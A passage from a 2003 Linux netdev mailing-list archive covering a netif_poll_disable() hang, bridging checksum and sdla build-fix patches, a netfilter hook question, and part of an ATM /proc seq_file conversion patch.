transmit a packet. Any ideas? Do you have the stack overflow checking enabled? That has been a source of problems for us. It was especially difficult to reproduce, because it only happened during a double interrupt. Cheers, Andreas -- Andreas Dilger http://sourceforge.net/projects/ext2resize/ http://www-mddsp.enel.ucalgary.ca/People/adilger/ From akpm@osdl.org Sun Sep 7 23:20:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 07 Sep 2003 23:21:10 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h886KZx4009673 for ; Sun, 7 Sep 2003 23:20:36 -0700 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h886KIo19704; Sun, 7 Sep 2003 23:20:18 -0700 Date: Sun, 7 Sep 2003 23:21:45 -0700 From: Andrew Morton To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: netif_poll_disable() hangs Message-Id: <20030907232145.6ec197fd.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5681 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Very simple: ifup eth0 ifdown eth0 ifup eth0 ifdown eth0 <- hangs in dev_close -> netif_poll_disable() Because the first close sets __LINK_STATE_RX_SCHED and nothing ever clears it. From jgarzik@pobox.com Mon Sep 8 00:18:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 00:18:40 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h887I2x4017310 for ; Mon, 8 Sep 2003 00:18:03 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:38136 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19wGHe-0001bU-6e; Mon, 08 Sep 2003 08:17:58 +0100 Message-ID: <3F5C2D1A.5050500@pobox.com> Date: Mon, 08 Sep 2003 03:17:46 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Andrew Morton CC: "David S. Miller" , netdev@oss.sgi.com Subject: Re: netif_poll_disable() hangs References: <20030907232145.6ec197fd.akpm@osdl.org> In-Reply-To: <20030907232145.6ec197fd.akpm@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5683 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 518 Lines: 23 Andrew Morton wrote: > Very simple: > > ifup eth0 > ifdown eth0 > ifup eth0 > ifdown eth0 <- hangs in dev_close -> netif_poll_disable() > > > Because the first close sets __LINK_STATE_RX_SCHED and nothing ever clears > it. Weird. Looking at older 2.4 and 2.6, the bit has always been set that way. process_backlog() has always been the only site that ever clears that bit... maybe process_backlog() is called when interface is up'd, which is why it worked before (and should be working now)? Jeff From akpm@osdl.org Mon Sep 8 00:28:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 00:28:26 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h887S0x4021936 for ; Mon, 8 Sep 2003 00:28:01 -0700 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h887Rko30103; Mon, 8 Sep 2003 00:27:46 -0700 Date: Mon, 8 Sep 2003 00:29:14 -0700 From: Andrew Morton To: Jeff Garzik Cc: davem@redhat.com, netdev@oss.sgi.com Subject: Re: netif_poll_disable() hangs Message-Id: <20030908002914.737122a9.akpm@osdl.org> In-Reply-To: <3F5C2D1A.5050500@pobox.com> References: <20030907232145.6ec197fd.akpm@osdl.org> <3F5C2D1A.5050500@pobox.com> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5684 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Content-Length: 427 Lines: 19 Jeff Garzik wrote: > > Andrew Morton wrote: > > Very simple: > > > > ifup eth0 > > ifdown eth0 > > ifup eth0 > > ifdown eth0 <- hangs in dev_close -> netif_poll_disable() > > > > > > Because the first close sets __LINK_STATE_RX_SCHED and nothing ever clears > > it. > > > Weird. Looking at older 2.4 and 2.6, the bit has always been set that way. 2.4 does test_bit, 2.6 does test_and_set_bit. From shemminger@osdl.org Mon Sep 8 09:37:14 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 09:37:16 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88GbDx4027994 for ; Mon, 8 Sep 2003 09:37:14 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88Gb0o05715; Mon, 8 Sep 2003 09:37:00 -0700 Date: Mon, 8 Sep 2003 09:36:44 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH 2.4] clear hw checksum flags when bridging Message-Id: <20030908093644.290c2f8e.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5685 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 635 Lines: 17 The hardware checksumming flags need to be cleared when forwarding packets. Bridging just needs to forward what ever checksum is in the existing skbuff, it doesn't want or need the packet to be resummed. Without this fix, forwarding between smart/dumb interfaces causes an oops. diff -Nru a/net/bridge/br_forward.c b/net/bridge/br_forward.c --- a/net/bridge/br_forward.c Mon Sep 8 09:29:44 2003 +++ b/net/bridge/br_forward.c Mon Sep 8 09:29:44 2003 @@ -59,6 +59,7 @@ indev = skb->dev; skb->dev = to->dev; + skb->ip_summed = CHECKSUM_NONE; NF_HOOK(PF_BRIDGE, NF_BR_FORWARD, skb, indev, skb->dev, __br_forward_finish); From shemminger@osdl.org Mon Sep 8 09:37:18 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 09:37:20 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88GbHx4027995 for ; Mon, 8 Sep 2003 09:37:18 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88Gb5o05737; Mon, 8 Sep 2003 09:37:05 -0700 Date: Mon, 8 Sep 2003 09:36:49 -0700 From: Stephen Hemminger To: "David S. Miller" Cc: bridge@osdl.org, netdev@oss.sgi.com Subject: [PATCH 2.6] clear hw checksum flags when bridging Message-Id: <20030908093649.5b6dafc1.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5686 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 402 Lines: 13 same patch as 2.4, just the offsets are changed. diff -Nru a/net/bridge/br_forward.c b/net/bridge/br_forward.c --- a/net/bridge/br_forward.c Mon Sep 8 09:31:19 2003 +++ b/net/bridge/br_forward.c Mon Sep 8 09:31:19 2003 @@ -69,6 +69,7 @@ indev = skb->dev; skb->dev = to->dev; + skb->ip_summed = CHECKSUM_NONE; NF_HOOK(PF_BRIDGE, NF_BR_FORWARD, skb, indev, skb->dev, br_forward_finish); From shemminger@osdl.org Mon Sep 8 09:57:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 09:57:43 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88Gvbx4030286 for ; Mon, 8 Sep 2003 09:57:38 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88GvPo09986; Mon, 8 Sep 2003 09:57:25 -0700 Date: Mon, 8 Sep 2003 09:57:08 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: Linus Torvalds , netdev@oss.sgi.com Subject: [PATCH] sdla non-module build fix. Message-Id: <20030908095708.107b98c4.shemminger@osdl.org> In-Reply-To: <3F5B7ED7.2070908@pobox.com> References: <3F5B7ED7.2070908@pobox.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5687 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 376 Lines: 17 Last round of changes broke sdla build if not a module. diff -Nru a/drivers/net/wan/sdla.c b/drivers/net/wan/sdla.c --- a/drivers/net/wan/sdla.c Mon Sep 8 09:49:56 2003 +++ b/drivers/net/wan/sdla.c Mon Sep 8 09:49:56 2003 @@ -1719,9 +1719,9 @@ unregister_frad(devname); } -#endif MODULE_LICENSE("GPL"); module_init(init_sdla); module_exit(exit_sdla); +#endif From torvalds@osdl.org Mon Sep 8 10:32:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 10:32:38 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88HWYx4006234 for ; Mon, 8 Sep 2003 10:32:35 -0700 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h88HWQo18383; Mon, 8 Sep 2003 10:32:26 -0700 Date: Mon, 8 Sep 2003 10:32:26 -0700 (PDT) From: Linus Torvalds To: Stephen Hemminger cc: Jeff Garzik , Subject: Re: [PATCH] sdla non-module build fix. In-Reply-To: <20030908095708.107b98c4.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5688 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev Content-Length: 406 Lines: 14 On Mon, 8 Sep 2003, Stephen Hemminger wrote: > > Last round of changes broke sdla build if not a module. This patch can't be right. It may fix the compile, but it looks like init/exit_sdla is never registered at all if it's built-in. I suspect the whole #ifdef should go away. A driver that does things differently depending on whether it is a module or not is generally a _broken_ driver. Linus From shemminger@osdl.org Mon Sep 8 10:33:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 10:33:57 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88HXrx4006530 for ; Mon, 8 Sep 2003 10:33:54 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h88HXeo18556; Mon, 8 Sep 2003 10:33:40 -0700 Date: Mon, 8 Sep 2003 10:33:24 -0700 From: Stephen Hemminger To: Linus Torvalds Cc: Jeff Garzik , Subject: Re: [PATCH] sdla non-module build fix. Message-Id: <20030908103324.6545cdeb.shemminger@osdl.org> In-Reply-To: References: <20030908095708.107b98c4.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5689 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 623 Lines: 19 On Mon, 8 Sep 2003 10:32:26 -0700 (PDT) Linus Torvalds wrote: > > On Mon, 8 Sep 2003, Stephen Hemminger wrote: > > > > Last round of changes broke sdla build if not a module. > > This patch can't be right. It may fix the compile, but it looks like > init/exit_sdla is never registered at all if it's built-in. > > I suspect the whole #ifdef should go away. A driver that does things > differently depending on whether it is a module or not is generally a > _broken_ driver. > > Linus The registration for non-modular takes place via drivers/net/Space.c calling sdla_init like it always did. From garzik@gtf.org Mon Sep 8 11:09:21 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 11:09:26 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88I9Ax4010737 for ; Mon, 8 Sep 2003 11:09:10 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id AA7FD6644; Mon, 8 Sep 2003 13:36:44 -0400 (EDT) Date: Mon, 8 Sep 2003 13:36:44 -0400 From: Jeff Garzik To: Linus Torvalds Cc: Stephen Hemminger , netdev@oss.sgi.com Subject: Re: [PATCH] sdla non-module build fix. Message-ID: <20030908173644.GA22629@gtf.org> References: <20030908095708.107b98c4.shemminger@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-archive-position: 5690 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1103 Lines: 30 On Mon, Sep 08, 2003 at 10:32:26AM -0700, Linus Torvalds wrote: > > On Mon, 8 Sep 2003, Stephen Hemminger wrote: > > > > Last round of changes broke sdla build if not a module. > > This patch can't be right. It may fix the compile, but it looks like > init/exit_sdla is never registered at all if it's built-in. > > I suspect the whole #ifdef should go away. A driver that does things > differently depending on whether it is a module or not is generally a > _broken_ driver. Nope, this is one of those weird two-ways-of-initialization things, like drivers/net/Space.c or drivers/video/fbmem.c. If you look at the sdla code, just above where Stephen's patch's context ends, you see "sdla_init" which is called by both modular and non-modular code. So -- with the exception of #ifdef'ing out MODULE_LICENSE, Stephen's patch is ok. Now that said, this situation is only temporary, until we get all the network device structs being allocated dynamically, and interface ordering issues are resolved. Once that happens, you are absolutely right: sdla's #ifdef MODULE should be removed. Jeff From cfriesen@nortelnetworks.com Mon Sep 8 12:43:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 12:44:13 -0700 (PDT) Received: from zcars0m9.nortelnetworks.com (zcars0m9.nortelnetworks.com [47.129.242.157]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88Jhdx4018435 for ; Mon, 8 Sep 2003 12:43:40 -0700 Received: from zcard309.ca.nortel.com (zcard309.ca.nortel.com [47.129.242.69]) by zcars0m9.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h88JhRR09609; Mon, 8 Sep 2003 15:43:27 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard309.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id RY5ABRZM; Mon, 8 Sep 2003 15:43:28 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id Q8C6KLC0; Mon, 8 Sep 2003 15:43:27 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id C805A2D957; Mon, 8 Sep 2003 15:43:26 -0400 (EDT) Message-ID: <3F5CDBDE.8000604@nortelnetworks.com> Date: Mon, 08 Sep 2003 15:43:26 -0400 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: Chris Friesen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: any plans for a really lowlevel netfilter hook? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5691 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev Content-Length: 915 Lines: 25 I've got a wn2k session running in vmware configured with bridged ethernet. In this mode, windows accessses the hardware and gets a separate IP address from the linux host. I assume that it's done through a packet socket or something like that. Anyways, I had been hoping to be able to filter the packets, but it seems that they get pulled off before they hit the ip stack, and so iptables is useless. ebtables seems to only affect bridged stuff, so I don't think that it would be applicable either. What I'd like would be some kind of netfilter hook really early and really late (before and after packet sockets, respectively). Any plans for such? Chris -- Chris Friesen | MailStop: 043/33/F10 Nortel Networks | work: (613) 765-0557 3500 Carling Avenue | fax: (613) 765-2986 Nepean, ON K2H 8E9 Canada | email: cfriesen@nortelnetworks.com From chas@cmf.nrl.navy.mil Mon Sep 8 13:41:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 08 Sep 2003 13:42:15 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h88Kffx4023608 for ; Mon, 8 Sep 2003 13:41:42 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h88KfISa003500; Mon, 8 Sep 2003 16:41:18 -0400 (EDT) Message-Id: <200309082041.h88KfISa003500@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com, romieu@fr.zoreil.com Subject: [PATCH][ATM] seqfile conversion for net/atm/proc.c Reply-To: chas3@users.sourceforge.net Date: Mon, 08 Sep 2003 16:41:19 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 5693 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 49429 Lines: 1782 please apply to 2.6 (please note this patch has been split into 8 pieces) -- thanks [ATM]: seq_file for /proc/net/atm (devices) [1/8] (from romieu@fr.zoreil.com) seq_file conversion for proc/atm/devices: - code inspired from seq_file use in net/core/dev.c; - atm_dev_lock taken/released in atm_dev_seq_{start/stop}; - add a helper CREATE_SEQ_ENTRY() similar to CREATE_ENTRY() (both are removed once conversion is done). - atm_dev_seq_{start/stop/next} done in net/atm/resource.[ch] to ease future handling of atm_devs and locking structure (per Chas suggestion) net/atm/proc.c | 86 +++++++++++++++++++++++++++++++--------------------- net/atm/resources.c | 29 +++++++++++++++++ net/atm/resources.h | 5 +++ 3 files changed, 86 insertions(+), 34 deletions(-) diff -puN net/atm/proc.c~atm-proc-seq-devices net/atm/proc.c --- linux-2.6.0-test4-bk8/net/atm/proc.c~atm-proc-seq-devices Sat Sep 6 23:22:58 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/proc.c Sat Sep 6 23:22:58 2003 @@ -24,6 +24,7 @@ #include #include #include +#include #include #include #include @@ -64,32 +65,30 @@ static struct file_operations proc_spec_ .read = proc_spec_atm_read, }; -static void add_stats(char *buf,const char *aal, +static void add_stats(struct seq_file *seq, const char *aal, const struct k_atm_aal_stats *stats) { - sprintf(strchr(buf,0),"%s ( %d %d %d %d %d )",aal, + seq_printf(seq, "%s ( %d %d %d %d %d )", aal, atomic_read(&stats->tx),atomic_read(&stats->tx_err), atomic_read(&stats->rx),atomic_read(&stats->rx_err), atomic_read(&stats->rx_drop)); } - -static void atm_dev_info(const struct atm_dev *dev,char *buf) +static void atm_dev_info(struct seq_file *seq, const struct atm_dev *dev) { - int off,i; + int i; - off = sprintf(buf,"%3d %-8s",dev->number,dev->type); + seq_printf(seq, "%3d %-8s", dev->number, dev->type); for (i = 0; i < ESI_LEN; i++) - off += sprintf(buf+off,"%02x",dev->esi[i]); - strcat(buf," "); - add_stats(buf,"0",&dev->stats.aal0); - strcat(buf," "); - add_stats(buf,"5",&dev->stats.aal5); - sprintf(strchr(buf,0), "\t[%d]", atomic_read(&dev->refcnt)); - strcat(buf,"\n"); + seq_printf(seq, "%02x", dev->esi[i]); + seq_puts(seq, " "); + add_stats(seq, "0", &dev->stats.aal0); + seq_puts(seq, " "); + add_stats(seq, "5", &dev->stats.aal5); + seq_printf(seq, "\t[%d]", atomic_read(&dev->refcnt)); + seq_putc(seq, '\n'); } - #if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) @@ -303,29 +302,40 @@ lec_info(struct lec_arp_table *entry, ch #endif -static int atm_devices_info(loff_t pos,char *buf) +static int atm_dev_seq_show(struct seq_file *seq, void *v) { - struct atm_dev *dev; - struct list_head *p; - int left; + static char atm_dev_banner[] = + "Itf Type ESI/\"MAC\"addr " + "AAL(TX,err,RX,err,drop) ... [refcnt]\n"; + + if (v == (void *)1) + seq_puts(seq, atm_dev_banner); + else { + struct atm_dev *dev = list_entry(v, struct atm_dev, dev_list); - if (!pos) { - return sprintf(buf,"Itf Type ESI/\"MAC\"addr " - "AAL(TX,err,RX,err,drop) ... [refcnt]\n"); - } - left = pos-1; - spin_lock(&atm_dev_lock); - list_for_each(p, &atm_devs) { - dev = list_entry(p, struct atm_dev, dev_list); - if (left-- == 0) { - atm_dev_info(dev,buf); - spin_unlock(&atm_dev_lock); - return strlen(buf); - } + atm_dev_info(seq, dev); } - spin_unlock(&atm_dev_lock); - return 0; + return 0; } + +static struct seq_operations atm_dev_seq_ops = { + .start = atm_dev_seq_start, + .next = atm_dev_seq_next, + .stop = atm_dev_seq_stop, + .show = atm_dev_seq_show, +}; + +static int atm_dev_seq_open(struct inode *inode, struct file *file) +{ + return seq_open(file, &atm_dev_seq_ops); +} + +static struct file_operations devices_seq_fops = { + .open = atm_dev_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; /* * FIXME: it isn't safe to walk the VCC list without turning off interrupts. @@ -630,6 +640,14 @@ void atm_proc_dev_deregister(struct atm_ kfree(dev->proc_name); } +#define CREATE_SEQ_ENTRY(name) \ + do { \ + name = create_proc_entry(#name, S_IRUGO, atm_proc_root); \ + if (!name) \ + goto cleanup; \ + name->proc_fops = & name##_seq_fops; \ + name->owner = THIS_MODULE; \ + } while (0) #define CREATE_ENTRY(name) \ name = create_proc_entry(#name,0,atm_proc_root); \ @@ -663,7 +681,7 @@ int __init atm_proc_init(void) atm_proc_root = proc_mkdir("net/atm",NULL); if (!atm_proc_root) return -ENOMEM; - CREATE_ENTRY(devices); + CREATE_SEQ_ENTRY(devices); CREATE_ENTRY(pvc); CREATE_ENTRY(svc); CREATE_ENTRY(vc); diff -puN net/atm/resources.c~atm-proc-seq-devices net/atm/resources.c --- linux-2.6.0-test4-bk8/net/atm/resources.c~atm-proc-seq-devices Sat Sep 6 23:22:58 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/resources.c Sat Sep 6 23:22:58 2003 @@ -395,6 +395,35 @@ done: return error; } +static __inline__ void *dev_get_idx(loff_t left) +{ + struct list_head *p; + + list_for_each(p, &atm_devs) { + if (!--left) + break; + } + return (p != &atm_devs) ? p : NULL; +} + +void *atm_dev_seq_start(struct seq_file *seq, loff_t *pos) +{ + spin_lock(&atm_dev_lock); + return *pos ? dev_get_idx(*pos) : (void *) 1; +} + +void atm_dev_seq_stop(struct seq_file *seq, void *v) +{ + spin_unlock(&atm_dev_lock); +} + +void *atm_dev_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + ++*pos; + v = (v == (void *)1) ? atm_devs.next : ((struct list_head *)v)->next; + return (v == &atm_devs) ? NULL : v; +} + EXPORT_SYMBOL(atm_dev_register); EXPORT_SYMBOL(atm_dev_deregister); diff -puN net/atm/resources.h~atm-proc-seq-devices net/atm/resources.h --- linux-2.6.0-test4-bk8/net/atm/resources.h~atm-proc-seq-devices Sat Sep 6 23:22:58 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/resources.h Sat Sep 6 23:22:58 2003 @@ -21,6 +21,11 @@ int atm_dev_ioctl(unsigned int cmd, unsi #include +void *atm_dev_seq_start(struct seq_file *seq, loff_t *pos); +void atm_dev_seq_stop(struct seq_file *seq, void *v); +void *atm_dev_seq_next(struct seq_file *seq, void *v, loff_t *pos); + + int atm_proc_dev_register(struct atm_dev *dev); void atm_proc_dev_deregister(struct atm_dev *dev); [ATM]: seq_file for /proc/net/atm (vc utils) [2/8] (from romieu@fr.zoreil.com) Helpers for seq_file conversion of proc/atm/{pvc/svc/vc}: - struct vcc_state keeps 1) the struct sock from which the current struct atm_vcc is deduced 2) the family to which must belong the vcc (PF_ATM{SVC/PVC/any}) 3) the availability of clip module - vcc_seq{start/stop} are responsible for vcc_sklist locking - __vcc_seq_open and vcc_seq_release take care of get/put for the clip module. Chas's suggestions applied since last version: - atm_vc_xxx renamed to vcc_xxx - atm_vc_common_seq_open renamed __vcc_seq_open (future name clashes avoidance) net/atm/proc.c | 100 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 files changed, 100 insertions(+) diff -puN net/atm/proc.c~atm-proc-seq-vc-utils net/atm/proc.c --- linux-2.6.0-test4-bk8/net/atm/proc.c~atm-proc-seq-vc-utils Sat Sep 6 23:25:10 2003 +++ linux-2.6.0-test4-bk8-fr/net/atm/proc.c Sat Sep 6 23:25:10 2003 @@ -161,6 +161,106 @@ static void atmarp_info(struct net_devic #endif +struct vcc_state { + struct sock *sk; + int family; + int clip_info; +}; + +static inline int compare_family(struct sock *sk, int family) +{ + struct atm_vcc *vcc = atm_sk(sk); + + return !family || (vcc->sk->sk_family == family); +} + +static int __vcc_walk(struct sock **sock, int family, loff_t l) +{ + struct sock *sk = *sock; + + if (sk == (void *)1) { + sk = hlist_empty(&vcc_sklist) ? NULL : __sk_head(&vcc_sklist); + l--; + } + for (; sk; sk = sk_next(sk)) { + l -= compare_family(sk, family); + if (l < 0) + goto out; + } + sk = (void *)1; +out: + *sock = sk; + return (l < 0); +} + +static inline void *vcc_walk(struct vcc_state *state, loff_t l) +{ + return __vcc_walk(&state->sk, state->family, l) ? + state : NULL; +} + +static int __vcc_seq_open(struct inode *inode, struct file *file, + int family, struct seq_operations *ops) +{ + struct vcc_state *state; + struct seq_file *seq; + int rc = -ENOMEM; + + state = kmalloc(sizeof(*state), GFP_KERNEL); + if (!state) + goto out; + + rc = seq_open(file, ops); + if (rc) + goto out_kfree; + + state->family = family; + state->clip_info = try_atm_clip_ops(); + + seq = file->private_data; + seq->private = state; +out: + return rc; +out_kfree: + kfree(state); + goto out; +} + +static int vcc_seq_release(struct inode *inode, struct file *file) +{ +#if defined(CONFIG_ATM_CLIP) || defined(CONFIG_ATM_CLIP_MODULE) + struct seq_file *seq = file->private_data; + struct vcc_state *state = seq->private; + + if (state->clip_info) + module_put(atm_clip_ops->owner); +#endif + return seq_release_private(inode, file); +} + +static void *vcc_seq_start(struct seq_file *seq, loff_t *pos) +{ + struct vcc_state *state = 